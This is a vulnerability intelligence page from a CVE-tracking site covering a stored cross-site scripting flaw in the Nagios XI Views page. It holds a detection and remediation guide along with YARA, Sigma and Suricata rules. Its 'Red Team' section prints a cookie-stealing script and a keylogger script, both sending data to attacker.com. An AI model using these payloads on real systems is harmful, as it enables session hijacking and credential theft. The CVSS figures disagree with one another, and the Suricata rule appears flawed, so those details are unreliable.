☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2018-25121

CVE-2018-25121 Cross-Site Scripting in Nagios
📅 PUBLISHED: 2025-10-30 21:56 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2018-25121 is a stored cross-site scripting (XSS) vulnerability in Nagios XI, a popular IT infrastructure monitoring platform. The flaw exists in the Views page of the web interface, where insufficient validation or escaping of user-supplied input allows an attacker to inject and execute arbitrary script in the context of a victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to 5.4.13. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the widespread deployment of Nagios XI in enterprise environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Base Score: 5.4 Medium)
  • Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must click a crafted link or view a malicious page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires authenticated access and user interaction, but the potential for session hijacking and lateral movement is significant.

Deep Dive & Mechanics

The vulnerability resides in the Views page of Nagios XI, which allows users to create and manage custom views of monitoring data. The application fails to properly sanitize user-supplied input when creating or editing a view. An attacker with a valid account can inject malicious JavaScript into view names, descriptions, or other text fields. When an administrator or other user views the affected page, the injected script executes in their browser context.

The attack flow:

  1. Attacker logs into Nagios XI with a low-privileged account.
  2. Attacker creates a new view or edits an existing one, injecting a payload such as <script>alert('XSS')</script> into a text field.
  3. The payload is stored in the database without proper encoding.
  4. When a victim (e.g., an admin) navigates to the Views page, the payload is rendered and executed.
  5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.4.13): The application likely used a function like echo $view_name; without escaping, or used htmlspecialchars() incorrectly.

// Vulnerable: direct output without escaping
echo "<h2>" . $view_name . "</h2>";

Patched Code (5.4.13+): The fix involves proper output encoding using htmlspecialchars() or a similar function.

// Patched: escape output
echo "<h2>" . htmlspecialchars($view_name, ENT_QUOTES, 'UTF-8') . "</h2>";

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid Nagios XI account (any role).
  • Access to the Views page (e.g., http://target/nagiosxi/views/).

Steps:

  1. Log in to Nagios XI.
  2. Navigate to Views → Add New View.
  3. In the View Name field, enter a payload such as:
    <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
    
  4. Save the view.
  5. Craft a link to the malicious view and send it to an administrator via email or internal chat.
  6. When the admin views the page, the script executes and exfiltrates their session cookie.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team

Detection:

  • Monitor web application logs for unusual characters in view names or descriptions (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block XSS payloads in POST requests to /nagiosxi/views/.
  • Enable Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search database for stored XSS patterns in the views table.
  • Review Nagios XI audit logs for view creation/modification events by non-admin users.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from Nagios XI server.
  • Logs: Entries in /usr/local/nagiosxi/var/eventman.log or Apache access logs containing <script> tags.
  • File System: Modified view configuration files in /usr/local/nagiosxi/etc/ containing JavaScript.
  • Database: Rows in the xi_views table with view_name or view_description containing HTML/script tags.

Detection Engineering

YARA Rule

rule nagios_xi_xss_cve_2018_25121 {
    meta:
        description = "Detects XSS payloads in Nagios XI view names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25121"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Nagios XI Stored XSS via Views Page
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of views with XSS payloads in Nagios XI
author: Valters IT
logsource:
    product: nagios
    service: web
detection:
    selection:
        http.method: 'POST'
        http.url: '/nagiosxi/views/'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in view names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2018-25121 Nagios XI Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/nagiosxi/views/"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2018-25121;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate:

  1. Upgrade Nagios XI to version 5.4.13 or later.
  2. If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in view-related requests.
  3. Restrict view creation/modification to trusted administrators only.

Long-term:

  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Conduct regular security audits of custom views.
  • Enable input validation and output encoding in all user-facing fields.

Workaround:

  • Disable the Views feature temporarily if not critical.
  • Use a reverse proxy with XSS filtering (e.g., ModSecurity).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2018-25121/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.